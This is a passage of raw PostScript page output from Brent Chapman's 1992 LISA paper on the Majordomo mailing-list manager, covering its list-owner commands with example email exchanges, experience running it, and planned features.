+648 X(appropriate)s +1032 X(PASSWORD)s +1320 X(filled)s +1544 X(in,)s +600 X +2115 Y +648 X(of)s +744 X(course\):)s +600 X +2211 Y +776 X(approve)s +1032 X(PASSWORD)s +1320 X(subscribe)s +1640 X(\\)s +600 X +2271 Y +888 X(majordomo)s +1176 X(-announce)s +1496 X(SysStaff@Somewh)s +1976 X(ere)s +2072 X(.ORG)s +600 X +2367 Y +648 X(If)s +744 X(you)s +872 X(disapprove,)s +1256 X(do)s +1352 X(nothing)s +1576 X(.)s +600 X +2469 Y +f.R 10 Z(If)s +672 X(the)s +782 X(list)s +893 X(owner)s +1087 X(sends)s +1263 X(such)s +1413 X(an)s +1504 X("approve")s +1801 X(command)s +600 X +2542 Y(back)s +753 X(to)s +832 X(Majordomo,)s +1190 X(and)s +1313 X(the)s +1422 X(password)s +1699 X(is)s +1770 X(the)s +1878 X(correct)s +600 X +2615 Y(password)s +883 X(for)s +992 X(the)s +1106 X(list)s +1221 X(in)s +1306 X(question,)s +1582 X(then)s +1730 X(the)s +1845 X(addition)s +600 X +2688 Y(will)s +760 X(take)s +927 X(place)s +1069 X(.)s +1163 X(The)s +1322 X(address)s +1577 X(being)s +1779 X(subscribed)s +600 X +2761 Y(\(SysStaff@Some)s +1061 X(where)s +1224 X(.ORG,)s +1466 X(in)s +1586 X(this)s +1752 X(case\))s +1959 X(will)s +600 X +2834 Y(receive)s +864 X(a)s +964 X(standard)s +1260 X("Welcome)s +1614 X(to)s +1735 X(majordomo)s +2042 X(-)s +600 X +2907 Y(announce")s +906 X(message)s +1158 X(and)s +1279 X(the)s +1386 X(list)s +1494 X(owner)s +1685 X(will)s +1815 X(receive)s +2034 X(a)s +600 X +2980 Y(standard)s +894 X("SUBSCRIBE")s +1377 X(noti\256cation,)s +1767 X(as)s +1891 X(shown)s +600 X +3053 Y(above)s +759 X(.)s +600 X +3147 Y +744 X(Such)s +908 X(an)s +1002 X("approve")s +1301 X(cycle)s +1474 X(takes)s +1644 X(place)s +1818 X(if)s +1891 X(a)s +1953 X(user)s +600 X +3220 Y(attempts)s +852 X(to)s +927 X(subscribe)s +1202 X(or)s +1280 X(unsubscribe)s +1621 X(any)s +1740 X(address)s +1963 X(that)s +600 X +3293 Y(doesn't)s +830 X(match)s +1028 X(the)s +1144 X(one)s +1274 X(in)s +1360 X(the)s +1476 X(header)s +1688 X(of)s +1777 X(their)s +1934 X(mes-)s +600 X +3366 Y(sage,)s +758 X(or)s +835 X(if)s +898 X(a)s +950 X(user)s +1083 X(asks)s +1220 X(to)s +1294 X(subscribe)s +1568 X(to)s +1642 X(a)s +1694 X("closed")s +1941 X(list)s +2024 X(.)s +600 X +3460 Y +744 X(To)s +841 X(\256nd)s +967 X(out)s +1075 X(who)s +1212 X(is)s +1280 X(on)s +1369 X(the)s +1474 X(majordomo)s +1781 X(-users)s +1964 X(list,)s +600 X +3533 Y(Jane)s +741 X(would)s +929 X(send)s +1073 X(the)s +1177 X(following)s +1458 X(request:)s +600 X +3622 Y +648 X +f.CW 8 Z(From:)s +840 X(Jane@Somewhere)s +1288 X(.ORG)s +600 X +3682 Y +648 X(To:)s +776 X(Majordomo@Great)s +1256 X(Circle)s +1448 X(.COM)s +600 X +3778 Y +648 X(who)s +776 X(majordomo)s +1064 X(-users)s +600 X +3880 Y +f.R 10 Z(and)s +718 X(would)s +906 X(receive)s +1122 X(the)s +1226 X(following)s +1507 X(response:)s +600 X +3969 Y +648 X +f.CW 8 Z(From:)s +840 X(Majordomo@Great)s +1320 X(Circle)s +1512 X(.COM)s +600 X +4029 Y +648 X(To:)s +776 X(Jane@Somewhere)s +1224 X(.ORG)s +600 X +4089 Y +648 X(Subject:)s +936 X(Majordomo)s +1256 X(results)s +600 X +4185 Y +648 X(>>>>)s +808 X(who)s +936 X(majordomo)s +1224 X(-users)s +600 X +4245 Y +648 X(Members)s +904 X(of)s +1000 X(list)s +1160 X('majordomo)s +1480 X(-users':)s +600 X +4341 Y +648 X(brent@GreatCirc)s +1128 X(le)s +1192 X(.COM)s +1352 X(\(Brent)s +1576 X(Chapman\))s +600 X +4401 Y +648 X(Jane@Somewhere)s +1096 X(.ORG)s +600 X +4461 Y +648 X(Joe)s +776 X(User)s +936 X()s +600 X +4521 Y +648 X(.)s +680 X(.)s +712 X(.)s +2256 X +448 Y +2400 X +f.R 10 Z(To)s +2500 X(\256nd)s +2629 X(out)s +2740 X(which)s +2929 X(of)s +3010 X(the)s +3118 X(lists)s +3253 X(she's)s +3417 X(on)s +3510 X(that)s +3638 X(are)s +2256 X +521 Y(served)s +2469 X(by)s +2573 X(a)s +2641 X(given)s +2827 X(Majordomo)s +3179 X(server,)s +3397 X(Jane)s +3554 X(would)s +2256 X +594 Y(send)s +2400 X(the)s +2504 X(following)s +2785 X(request:)s +2256 X +683 Y +2304 X +f.CW 8 Z(From:)s +2496 X(Jane@Somewhere)s +2944 X(.ORG)s +2256 X +743 Y +2304 X(To:)s +2432 X(Majordomo@Great)s +2912 X(Circle)s +3104 X(.COM)s +2256 X +839 Y +2304 X(which)s +2256 X +941 Y +f.R 10 Z(Majordomo)s +2592 X(would)s +2780 X(respond)s +3012 X(with:)s +2256 X +1030 Y +2304 X +f.CW 8 Z(From:)s +2496 X(Majordomo@Great)s +2976 X(Circle)s +3168 X(.COM)s +2256 X +1090 Y +2304 X(To:)s +2432 X(Jane@Somewhere)s +2880 X(.ORG)s +2256 X +1150 Y +2304 X(Subject:)s +2592 X(Majordomo)s +2912 X(results)s +2256 X +1246 Y +2304 X(>>>>)s +2464 X(which)s +2256 X +1306 Y +2304 X(The)s +2432 X(address)s +2688 X('Jane@Somewhere)s +3168 X(.ORG')s +3360 X(is)s +2256 X +1366 Y +2304 X(on)s +2400 X(the)s +2528 X(following)s +2848 X(lists)s +3040 X(served)s +3264 X(by)s +2256 X +1426 Y +2304 X(Majordomo@Great)s +2784 X(Circle)s +2976 X(.COM:)s +2256 X +1522 Y +2560 X(majordomo)s +2848 X(-users)s +2256 X +1645 Y +2400 X +f.R 10 Z(To)s +2515 X(unsubscribe)s +2874 X(herself)s +3097 X(from)s +3267 X(the)s +3391 X(majordomo)s +3698 X(-)s +2256 X +1718 Y(users)s +2415 X(list,)s +2537 X(Jane)s +2678 X(would)s +2866 X(send)s +3010 X(a)s +3062 X(request)s +3277 X(such)s +3421 X(as:)s +2256 X +1807 Y +2304 X +f.CW 8 Z(From:)s +2496 X(Jane@Somewhere)s +2944 X(.ORG)s +2256 X +1867 Y +2304 X(To:)s +2432 X(Majordomo@Great)s +2912 X(Circle)s +3104 X(.COM)s +2256 X +1963 Y +2304 X(unsubscribe)s +2688 X(majordomo)s +2976 X(-users)s +3200 X(\\)s +2256 X +2023 Y +2544 X(Jane@Somewhere)s +2992 X(.ORG)s +2256 X +2125 Y +f.R 10 Z(To)s +2352 X(which)s +2537 X(Majordomo)s +2873 X(would)s +3061 X(respond:)s +2256 X +2214 Y +2304 X +f.CW 8 Z(From:)s +2496 X(Majordomo@Great)s +2976 X(Circle)s +3168 X(.COM)s +2256 X +2274 Y +2304 X(To:)s +2432 X(Jane@Somewhere)s +2880 X(.ORG)s +2256 X +2334 Y +2304 X(Subject:)s +2592 X(Majordomo)s +2912 X(results)s +2256 X +2430 Y +2304 X(>>>>)s +2464 X(unsubscribe)s +2848 X(majordomo)s +3136 X(-users)s +3360 X(\\)s +2256 X +2490 Y +2544 X(Jane@Somewhere)s +2992 X(.ORG)s +2256 X +2550 Y +2304 X(Succeeded)s +2592 X(.)s +2256 X +2652 Y +f.R 10 Z(The)s +2383 X(following)s +2665 X(message)s +2915 X(would)s +3104 X(also)s +3236 X(be)s +3323 X(sent)s +3455 X(to)s +3531 X(the)s +3637 X(list)s +2256 X +2725 Y(owner:)s +2256 X +2814 Y +2304 X +f.CW 8 Z(From:)s +2496 X(Majordomo@Great)s +2976 X(Circle)s +3168 X(.COM)s +2256 X +2874 Y +2304 X(To:)s +2432 X(majordomo)s +2720 X(-users)s +2912 X(-approval@Great)s +3392 X(Circle)s +3584 X(.COM)s +2256 X +2934 Y +2304 X(Subject:)s +2592 X(UNSUBSCRIBE)s +2976 X(majordomo)s +3264 X(-users)s +2256 X +3030 Y +2304 X(Jane@Somewhere)s +2752 X(.ORG)s +2912 X(has)s +3040 X(unsubscribed)s +2256 X +3090 Y +2304 X(from)s +2464 X(majordomo)s +2752 X(-users)s +2944 X(.)s +2256 X +3150 Y +2304 X(No)s +2400 X(action)s +2624 X(is)s +2720 X(required)s +3008 X(on)s +3104 X(your)s +3264 X(part)s +3392 X(.)s +2256 X +3273 Y +2400 X +f.R 10 Z(If)s +2475 X(Jane's)s +2673 X(mailer)s +2876 X(automatically)s +3273 X(appended)s +3559 X(a)s +3620 X(sig-)s +2256 X +3346 Y(nature)s +2453 X(to)s +2535 X(the)s +2647 X(end)s +2772 X(of)s +2856 X(all)s +2953 X(her)s +3067 X(outgoing)s +3332 X(messages,)s +3631 X(she)s +2256 X +3419 Y(could)s +2428 X(issue)s +2586 X(the)s +2692 X("end")s +2866 X(command)s +3153 X(as)s +3233 X(the)s +3339 X(last)s +3457 X(command)s +2256 X +3492 Y(of)s +2347 X(her)s +2468 X(messages)s +2757 X(to)s +2844 X(cause)s +3028 X(Majordomo)s +3377 X(to)s +3464 X(stop)s +3610 X(pro-)s +2256 X +3565 Y(cessing)s +2480 X(at)s +2556 X(that)s +2684 X(point)s +2821 X(.)s +2887 X(In)s +2969 X(addition,)s +3232 X(she)s +3348 X(could)s +3523 X(include)s +2256 X +3638 Y(blank)s +2438 X(lines)s +2599 X(or)s +2688 X(comments)s +2997 X(\(anything)s +3286 X(following)s +3579 X(a)s +3643 X('#')s +2256 X +3711 Y(on)s +2349 X(a)s +2406 X(line)s +2534 X(is)s +2607 X(a)s +2665 X(comment,)s +2959 X(and)s +3083 X(is)s +3156 X(discarded)s +3440 X(before)s +3638 X(the)s +2256 X +3784 Y(line)s +2379 X(is)s +2446 X(processed\))s +2753 X(if)s +2816 X(she)s +2927 X(wanted)s +3142 X(to)s +3194 X(.)s +2256 X +3878 Y +2400 X(If)s +2492 X(the)s +2622 X(owner)s +2836 X(of)s +2939 X(the)s +3069 X("majordomo)s +3403 X(-users")s +3637 X(list)s +2256 X +3951 Y(wished)s +2473 X(to)s +2553 X(change)s +2769 X(the)s +2878 X(information)s +3220 X(\256le)s +3333 X(that)s +3461 X(is)s +3533 X(sent)s +3668 X(in)s +2256 X +4024 Y(response)s +2513 X(to)s +2589 X("info")s +2774 X(and)s +2894 X("subscribe")s +3224 X(requests,)s +3484 X(he)s +3572 X(could)s +2256 X +4097 Y(do)s +2344 X(that)s +2467 X(with)s +2608 X(a)s +2660 X(message)s +2909 X(such)s +3053 X(as:)s +2256 X +4186 Y +2304 X +f.CW 8 Z(To:)s +2432 X(Majordomo@Great)s +2912 X(Circle)s +3104 X(.COM)s +2256 X +4282 Y +2304 X(newinfo)s +2560 X(majordomo)s +2848 X(-users)s +3072 X(PASSWORD)s +2256 X +4342 Y +2304 X(This)s +2464 X(is)s +2560 X(a)s +2624 X(revised)s +2880 X(information)s +3264 X(file)s +2256 X +4402 Y +2304 X(for)s +2432 X(the)s +2560 X(majordomo)s +2848 X(-users)s +3072 X(mailing)s +3328 X(list)s +3456 X(.)s +2256 X +4462 Y +2304 X(END)s +2256 X +4564 Y +f.R 10 Z(If)s +2333 X(the)s +2448 X(password)s +2732 X(used)s +2887 X(was)s +3024 X(the)s +3139 X(correct)s +3358 X(password)s +3643 X(for)s +2256 X +4637 Y(the)s +2368 X(list,)s +2498 X(Majordomo)s +2842 X(would)s +3038 X(replace)s +3261 X(the)s +3372 X(existing)s +3613 X(info)s +2256 X +4710 Y(\256le)s +2371 X(with)s +2519 X(the)s +2630 X(contents)s +2882 X(of)s +2966 X(the)s +3078 X(message)s +3335 X(to)s +3417 X(the)s +3529 X("END")s +600 X +4967 Y +f.B 10 Z(1992)s +754 X(LISA)s +931 X(VI)s +1027 X(\261)s +1082 X(October)s +1338 X(19)s +1404 X(-23,)s +1531 X(1992)s +1685 X(\261)s +1740 X(Long)s +1909 X(Beach,)s +2122 X(CA)s +3621 X(141)s +5280 Y +pagebot + +%%Page: 142 8 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +360 X +215 Y(Majordomo:)s +744 X(How)s +899 X(I)s +947 X(Manage)s +1198 X(17)s +1286 X(Mailing)s +1531 X(Lists)s +1690 X(.)s +1707 X(.)s +1724 X(.)s +3199 X(Chapman)s +360 X +448 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(marker)s +579 X(\(or)s +686 X(the)s +798 X(end)s +924 X(of)s +1008 X(the)s +1119 X(message,)s +1392 X(if)s +1462 X(there)s +1625 X(was)s +1758 X(no)s +360 X +521 Y(marker\))s +571 X(.)s +637 X(A)s +713 X(wise)s +864 X(list)s +975 X(owner)s +1169 X(would)s +1363 X(probably)s +1627 X(include)s +360 X +594 Y(an)s +485 X("info)s +680 X(majordomo)s +987 X(-users")s +1234 X(command)s +1558 X(after)s +1742 X(the)s +360 X +667 Y("END")s +575 X(marker)s +788 X(so)s +871 X(that)s +996 X(he)s +1083 X(could)s +1256 X(verify)s +1440 X(that)s +1566 X(the)s +1673 X(infor-)s +360 X +740 Y(mation)s +568 X(update)s +768 X(succeeded)s +1043 X(.)s +360 X +834 Y +504 X(A)s +576 X(list)s +683 X(owner)s +874 X(could)s +1047 X(also)s +1180 X(use)s +1294 X(a)s +1349 X(message)s +1601 X(like)s +1727 X(this)s +360 X +907 Y(to)s +434 X(change)s +645 X(the)s +749 X(password)s +1022 X(for)s +1121 X(their)s +1266 X(list:)s +360 X +996 Y +408 X +stdencoding /NCourier /Courier RE +/f.CW /NCourier findfont def +f.CW 8 Z(To:)s +536 X(Majordomo@Great)s +1016 X(Circle)s +1208 X(.COM)s +360 X +1092 Y +408 X(passwd)s +632 X(majordomo)s +920 X(-users)s +1144 X(OLD)s +1272 X(NEW)s +360 X +1194 Y +f.R 10 Z(If)s +463 X(the)s +604 X(old)s +748 X(password)s +1058 X(for)s +1194 X(majordomo)s +1501 X(-users)s +1720 X(was)s +360 X +1267 Y("OLD",)s +592 X(then)s +730 X(Majordomo)s +1067 X(would)s +1256 X(change)s +1468 X(the)s +1573 X(password)s +360 X +1340 Y(to)s +435 X("NEW")s +641 X(.)s +703 X(For)s +819 X(all)s +911 X(Majordomo)s +1249 X(list)s +1356 X(owner)s +1546 X(operations)s +360 X +1413 Y(that)s +495 X(require)s +718 X(passwords,)s +1045 X(knowledge)s +1370 X(of)s +1458 X(the)s +1573 X(password)s +360 X +1486 Y(for)s +470 X(the)s +585 X(list)s +701 X(is)s +779 X(the)s +894 X(sole)s +1035 X(authentication)s +1448 X(performed)s +1758 X(on)s +360 X +1559 Y(the)s +469 X(command)s +732 X(.)s +797 X(As)s +897 X(I've)s +1030 X(said)s +1164 X(elsewhere)s +1458 X(in)s +1536 X(this)s +1659 X(paper,)s +360 X +1632 Y(this)s +490 X(isn't)s +643 X(intended)s +907 X(to)s +993 X(be)s +1090 X(highly)s +1294 X(secure;)s +1518 X(it's)s +1638 X(merely)s +360 X +1705 Y(intended)s +625 X(to)s +712 X(keep)s +873 X(obnoxious)s +1184 X(people)s +1397 X(from)s +1560 X(making)s +1794 X(a)s +360 X +1778 Y(nuisance)s +625 X(of)s +711 X(themselves)s +1040 X(by)s +1137 X(abusing)s +1375 X(list)s +1489 X(owner)s +1687 X(com-)s +360 X +1851 Y(mands)s +534 X(.)s +360 X +1945 Y +504 X(Note)s +658 X(that)s +783 X(Majordomo)s +1121 X(does)s +1267 X(not)s +1376 X(yet)s +1482 X(support)s +1706 X(con-)s +360 X +2018 Y(tinuation)s +637 X(lines)s +803 X(\(a)s +894 X(command)s +1196 X(line)s +1336 X(that)s +1476 X(ends)s +1637 X(with)s +1794 X(a)s +360 X +2091 Y(backslash,)s +662 X(indicating)s +955 X(that)s +1081 X(the)s +1188 X(command)s +1476 X(continues)s +1758 X(on)s +360 X +2164 Y(the)s +471 X(next)s +615 X(line\))s +767 X(as)s +852 X(shown)s +1054 X(above,)s +1259 X(though)s +1472 X(it)s +1539 X(is)s +1612 X(high)s +1758 X(on)s +360 X +2237 Y(the)s +472 X(list)s +585 X(of)s +670 X(features)s +912 X(to)s +995 X(be)s +1089 X(added)s +1248 X(.)s +1318 X(Continuation)s +1697 X(lines)s +360 X +2310 Y(were)s +512 X(used)s +656 X(here)s +793 X(for)s +892 X(typesetting)s +1208 X(reasons)s +1408 X(.)s +360 X +2437 Y +664 X +f.B 10 Z(Experiences)s +1032 X(with)s +1180 X(Majordomo)s +360 X +2546 Y +504 X +f.R 10 Z(Majordomo)s +862 X(is)s +951 X(currently)s +1236 X(used)s +1402 X(to)s +1498 X(run)s +1631 X(the)s +1758 X(17)s +360 X +2619 Y(SAGE)s +571 X(mailing)s +813 X(lists)s +959 X(on)s +1062 X(USENIX)s +1306 X(.ORG,)s +1516 X(and)s +1648 X(to)s +1736 X(run)s +360 X +2692 Y(the)s +469 X("Majordomo)s +810 X(-Users")s +1038 X(and)s +1161 X("Majordomo)s +1502 X(-Announce")s +360 X +2765 Y(mailing)s +599 X(lists)s +742 X(at)s +825 X(GreatCircle)s +1138 X(.COM)s +1340 X(\(see)s +1481 X(the)s +1596 X("Availa-)s +360 X +2838 Y(bility")s +577 X(section)s +815 X(for)s +940 X(more)s +1125 X(information)s +1489 X(about)s +1686 X(these)s +360 X +2911 Y(lists\))s +491 X(.)s +555 X(It's)s +669 X(been)s +819 X(in)s +895 X(operation)s +1171 X(on)s +1261 X(USENIX)s +1505 X(.ORG)s +1686 X(since)s +360 X +2984 Y(late)s +481 X(June,)s +643 X(1992)s +775 X(.)s +815 X(In)s +893 X(the)s +998 X(two)s +1122 X(months)s +1342 X(between)s +1589 X(then)s +1728 X(and)s +360 X +3057 Y(the)s +482 X(time)s +642 X(this)s +779 X(paper)s +967 X(was)s +1110 X(written,)s +1356 X(it)s +1433 X(has)s +1561 X(processed)s +360 X +3130 Y(almost)s +572 X(1800)s +737 X(requests,)s +1006 X(all)s +1108 X(without)s +1346 X(encountering)s +1728 X(any)s +360 X +3203 Y(major)s +545 X(bugs)s +699 X(or)s +783 X(problems)s +1059 X(\(though)s +1293 X(a)s +1351 X(number)s +1582 X(of)s +1665 X(minor)s +360 X +3276 Y(bugs)s +512 X(have)s +665 X(been)s +818 X(found)s +1000 X(and)s +1124 X(corrected\))s +1395 X(.)s +1462 X(A)s +1538 X(number)s +1769 X(of)s +360 X +3349 Y(other)s +527 X(sites)s +677 X(requested)s +963 X(and)s +1089 X(received)s +1345 X(beta)s +1457 X(-test)s +1602 X(versions)s +360 X +3422 Y(of)s +437 X(the)s +541 X(program,)s +805 X(but)s +912 X(I)s +956 X(haven't)s +1178 X(heard)s +1349 X(back)s +1498 X(from)s +1650 X(any)s +1769 X(of)s +360 X +3495 Y(them)s +516 X(that)s +639 X(they've)s +861 X(begun)s +1045 X(using)s +1211 X(the)s +1315 X(software)s +1567 X(yet)s +1649 X(.)s +360 X +3589 Y +504 X(While)s +693 X(Majordomo)s +1033 X(is)s +1104 X(similar)s +1317 X(to)s +1395 X(and)s +1517 X(inspired)s +1758 X(by)s +360 X +3662 Y(Listserv,)s +616 X(I)s +660 X(haven't)s +882 X(really)s +1057 X(attempted)s +1344 X(to)s +1418 X(make)s +1585 X(it)s +1645 X(a)s +1697 X(List-)s +360 X +3735 Y(serv)s +505 X(clone)s +650 X(.)s +723 X(I've)s +865 X(chosen)s +1085 X(to)s +1172 X(use)s +1296 X(many)s +1479 X(of)s +1569 X(the)s +1686 X(same)s +360 X +3808 Y(commands)s +683 X(as)s +773 X(Listserv,)s +1040 X(but)s +1158 X(I've)s +1298 X(often)s +1468 X(used)s +1623 X(slightly)s +360 X +3881 Y(different)s +617 X(syntaxes)s +874 X(for)s +978 X(some)s +1146 X(commands;)s +1482 X(for)s +1587 X(instance,)s +360 X +3954 Y(the)s +471 X(Listserv)s +716 X(syntax)s +919 X(for)s +1025 X("subscribe")s +1360 X(is)s +1434 X("subscribe)s +1741 X +stdencoding /NTimes-Italic /Times-Italic RE +/f.I /NTimes-Italic findfont def +f.I 10 Z(list)s +360 X +4027 Y(real_name)s +f.R 10 Z(",)s +714 X(as)s +796 X(opposed)s +1043 X(to)s +1121 X(the)s +1229 X(Majordomo)s +1569 X(syntax)s +1769 X(of)s +360 X +4100 Y("subscribe)s +662 X +f.I 10 Z(list)s +768 X +f.R 10 Z([)s +f.I 10 Z(address)s +f.R 10 Z(]")s +1046 X(.)s +1108 X(This)s +1250 X(may)s +1388 X(not)s +1496 X(have)s +1645 X(been)s +1794 X(a)s +360 X +4173 Y(good)s +528 X(idea;)s +695 X(perhaps)s +938 X(I)s +996 X(should)s +1209 X(have)s +1371 X(either)s +1560 X(made)s +1742 X(the)s +360 X +4246 Y(Majordomo)s +698 X(syntax)s +896 X(identical)s +1152 X(to)s +1228 X(the)s +1333 X(Listserv)s +1572 X(syntax)s +1769 X(or)s +360 X +4319 Y(made)s +542 X(it)s +617 X(completely)s +952 X(different)s +1182 X(.)s +1237 X(The)s +1379 X(copy)s +1546 X(of)s +1639 X(Major-)s +360 X +4392 Y(domo)s +560 X(running)s +815 X(on)s +930 X(USENIX)s +1174 X(.ORG)s +1380 X(uses)s +1544 X(the)s +1674 X(email)s +360 X +4465 Y(address)s +583 X("Listserv",)s +893 X(not)s +1001 X("Majordomo";)s +1411 X(it's)s +1520 X(not)s +1628 X(clear)s +1783 X(if)s +360 X +4538 Y(that)s +483 X(was)s +609 X(a)s +661 X(good)s +815 X(idea,)s +966 X(since)s +1126 X(it's)s +1234 X(not)s +1341 X(really)s +1516 X(Listserv)s +1732 X(.)s +2016 X +448 Y +2555 X +f.B 10 Z(Future)s +2774 X(Work)s +2016 X +557 Y +2160 X +f.R 10 Z(The)s +2293 X(next)s +2437 X(major)s +2622 X(set)s +2726 X(of)s +2811 X(features)s +3053 X(I)s +3105 X(intend)s +3302 X(to)s +3384 X(add)s +2016 X +630 Y(are)s +2123 X(to)s +2200 X(support)s +2424 X(email)s +2599 X(retrieval)s +2848 X(of)s +2928 X(\256les)s +3065 X(through)s +3295 X(Major-)s +2016 X +703 Y(domo)s +2167 X(.)s +2237 X(I)s +2290 X(need)s +2447 X(to)s +2530 X(look)s +2679 X(at)s +2759 X(mechanisms)s +3122 X(and)s +3250 X(syntaxes)s +2016 X +776 Y(for)s +2129 X(making)s +2365 X(\256les)s +2513 X(and)s +2645 X(directories)s +2964 X(readable,)s +3243 X(writable,)s +2016 X +849 Y(and)s +2148 X(searchable)s +2467 X(via)s +2585 X(email)s +2735 X(.)s +2810 X(I)s +2869 X(intend)s +3073 X(to)s +3162 X(support)s +3398 X(the)s +2016 X +922 Y(notion)s +2209 X(of)s +2287 X("open")s +2493 X(and)s +2611 X("closed")s +2858 X(\256le)s +2966 X(directories)s +3271 X(\(similar)s +2016 X +995 Y(to)s +2106 X(the)s +2226 X("open")s +2448 X(and)s +2583 X("closed")s +2847 X(mailing)s +3091 X(lists)s +3239 X(currently)s +2016 X +1068 Y(implemented\);)s +2431 X(only)s +2573 X(authorized)s +2879 X(people)s +3080 X(\(where)s +3288 X(author-)s +2016 X +1141 Y(ization)s +2239 X(might)s +2435 X(be)s +2539 X(determined)s +2881 X(by)s +2988 X(knowledge)s +3321 X(of)s +3417 X(an)s +2016 X +1214 Y(appropriate)s +2349 X(password,)s +2646 X(or)s +2730 X(by)s +2825 X(membership)s +3184 X(on)s +3279 X(a)s +3338 X(mail-)s +2016 X +1287 Y(ing)s +2125 X(list)s +2233 X(associated)s +2534 X(with)s +2678 X(the)s +2785 X(directory\))s +3073 X(will)s +3203 X(be)s +3291 X(able)s +3428 X(to)s +2016 X +1360 Y(retrieve)s +2246 X(\256les)s +2383 X(from)s +2537 X("closed")s +2787 X(directories)s +3070 X(.)s +3134 X(I)s +3181 X(also)s +3313 X(intend)s +2016 X +1433 Y(to)s +2093 X(support)s +2318 X("writable")s +2618 X(and)s +2740 X("read)s +2882 X(-only")s +3075 X(directories)s +3384 X(and)s +2016 X +1506 Y(\256les)s +2128 X(.)s +2234 X(I'm)s +2397 X(going)s +2615 X(to)s +2734 X(consider)s +3027 X(special)s +3281 X(support)s +2016 X +1579 Y(speci\256cly)s +2299 X(for)s +2402 X(mailing)s +2633 X(list)s +2742 X(archives,)s +3009 X(to)s +3088 X(allow)s +3264 X(users)s +3428 X(to)s +2016 X +1652 Y(request)s +2243 X(only)s +2395 X(messages)s +2682 X(matching)s +2964 X(certain)s +3180 X(patterns)s +3425 X(or)s +2016 X +1725 Y(containing)s +2325 X(speci\256ed)s +2590 X(keywords)s +2875 X(from)s +3032 X(a)s +3090 X(given)s +3266 X(archive,)s +2016 X +1798 Y(rather)s +2225 X(than)s +2392 X(forcing)s +2636 X(them)s +2822 X(to)s +2926 X(retrieve)s +3183 X(the)s +3317 X(whole)s +2016 X +1871 Y(archive)s +2235 X(and)s +2353 X(do)s +2441 X(the)s +2545 X(search)s +2738 X(themselves)s +3036 X(.)s +2016 X +1965 Y +2160 X(At)s +2258 X(some)s +2430 X(point,)s +2615 X(I)s +2668 X(\(or)s +2777 X(someone)s +3046 X(else\))s +3205 X(should)s +3414 X(go)s +2016 X +2038 Y(back)s +2216 X(in)s +2342 X(and)s +2512 X(make)s +2731 X(Majordomo)s +3119 X(work)s +3329 X(under)s +2016 X +2111 Y("taintperl",)s +2341 X(so)s +2430 X(that)s +2561 X(the)s +2673 X("wrapper")s +2975 X(program)s +3231 X(won't)s +3417 X(be)s +2016 X +2184 Y(necessary)s +2276 X(.)s +2348 X(I)s +2403 X(\256rmly)s +2599 X(believe)s +2826 X(that)s +2960 X("taintperl")s +3271 X(is)s +3348 X(good)s +2016 X +2257 Y(and)s +2157 X(valuable,)s +2446 X(and)s +2588 X(that)s +2735 X(operating)s +3033 X(under)s +3230 X(it)s +3314 X(would)s +2016 X +2330 Y(improve)s +2279 X(the)s +2402 X(security)s +2654 X(of)s +2749 X(Majordomo;)s +3122 X(I)s +3184 X(just)s +3321 X(didn't)s +2016 X +2403 Y(have)s +2169 X(the)s +2279 X(time)s +2427 X(to)s +2507 X(work)s +2671 X(out)s +2784 X(all)s +2880 X(the)s +2990 X(details)s +3194 X(during)s +3395 X(my)s +2016 X +2476 Y(initial)s +2196 X(implementation)s +2639 X(phase)s +2791 X(.)s +2016 X +2570 Y +2160 X(I'd)s +2268 X(like)s +2400 X(to)s +2483 X(add)s +2610 X(a)s +2671 X(number)s +2906 X(of)s +2993 X(minor)s +3184 X(features)s +3428 X(to)s +2016 X +2643 Y(the)s +2153 X(program,)s +2450 X(including)s +2757 X(suppression)s +3125 X(of)s +3234 X(duplicate)s +2016 X +2716 Y(addresses)s +2303 X(in)s +2386 X(mailing)s +2622 X(lists)s +2762 X(\(but)s +2901 X(is)s +2978 X("joe@foobar)s +3321 X(.com")s +2016 X +2789 Y(the)s +2127 X(same)s +2294 X(as)s +2379 X("joe@workstatio)s +2831 X(n)s +2864 X(.foobar)s +3054 X(.com"?\),)s +3310 X(recog-)s +2016 X +2862 Y(nition)s +2200 X(of)s +2283 X(unambiguous)s +2669 X(command)s +2960 X(abbreviations,)s +3366 X(sup-)s +2016 X +2935 Y(port)s +2159 X(for)s +2272 X(continuation)s +2642 X(lines)s +2805 X(\(some)s +3004 X(mailers)s +3237 X(insist)s +3414 X(on)s +2016 X +3008 Y(auto)s +2131 X(-wrapping)s +2426 X(text)s +2549 X(to)s +2623 X(\256t)s +2701 X(an)s +2786 X(80)s +2852 X(-column)s +3096 X(display;)s +3331 X(while)s +2016 X +3081 Y(this)s +2135 X(is)s +2202 X(often)s +2361 X(preferable)s +2654 X(to)s +2728 X(paragraph)s +2994 X(-long)s +3156 X(lines)s +3305 X(in)s +3379 X(text)s +2016 X +3154 Y(messages,)s +2328 X(it)s +2409 X(wreaks)s +2641 X(havoc)s +2843 X(with)s +3005 X(long)s +3166 X(Majordomo)s +2016 X +3227 Y(commands\),)s +2373 X(support)s +2600 X(for)s +2705 X(a)s +2763 X(command)s +3054 X(indicating)s +3350 X(what)s +2016 X +3300 Y(return)s +2204 X(address)s +2433 X(Majordomo)s +2776 X(should)s +2982 X(use)s +3100 X(for)s +3207 X(its)s +3301 X(replies)s +2016 X +3373 Y(\(for)s +2158 X(use)s +2290 X(by)s +2399 X(folks)s +2575 X(whose)s +2787 X(mailers)s +3027 X(generate)s +3296 X(broken)s +2016 X +3446 Y(reply)s +2181 X(addresses)s +2465 X(in)s +2545 X(the)s +2655 X(headers;)s +2906 X(this)s +3032 X(might,)s +3234 X(however,)s +2016 X +3519 Y(have)s +2183 X(security)s +2436 X(implications)s +2809 X(that)s +2951 X(would)s +3158 X(need)s +3325 X(to)s +3417 X(be)s +2016 X +3592 Y(carefully)s +2284 X(considered\),)s +2643 X(and)s +2770 X(support)s +3000 X(for)s +3108 X(commands)s +3428 X(in)s +2016 X +3665 Y(the)s +2127 X("Subject:")s +2430 X(line)s +2560 X(of)s +2644 X(the)s +2755 X(message)s +2982 X(.)s +3050 X(I)s +3101 X(might)s +3285 X(look)s +3431 X(at)s +2016 X +3738 Y(making)s +2238 X(Majordomo)s +2574 X(more)s +2733 X(Listserv)s +2949 X(-compatible)s +3269 X(.)s +2016 X +3865 Y +2581 X +f.B 10 Z(Availability)s +2016 X +3974 Y +2160 X +f.R 10 Z(The)s +2299 X(package)s +2553 X(is)s +2633 X(available)s +2911 X(for)s +3023 X(anonymous)s +3365 X(FTP)s +2016 X +4047 Y(on)s +2183 X(machine)s 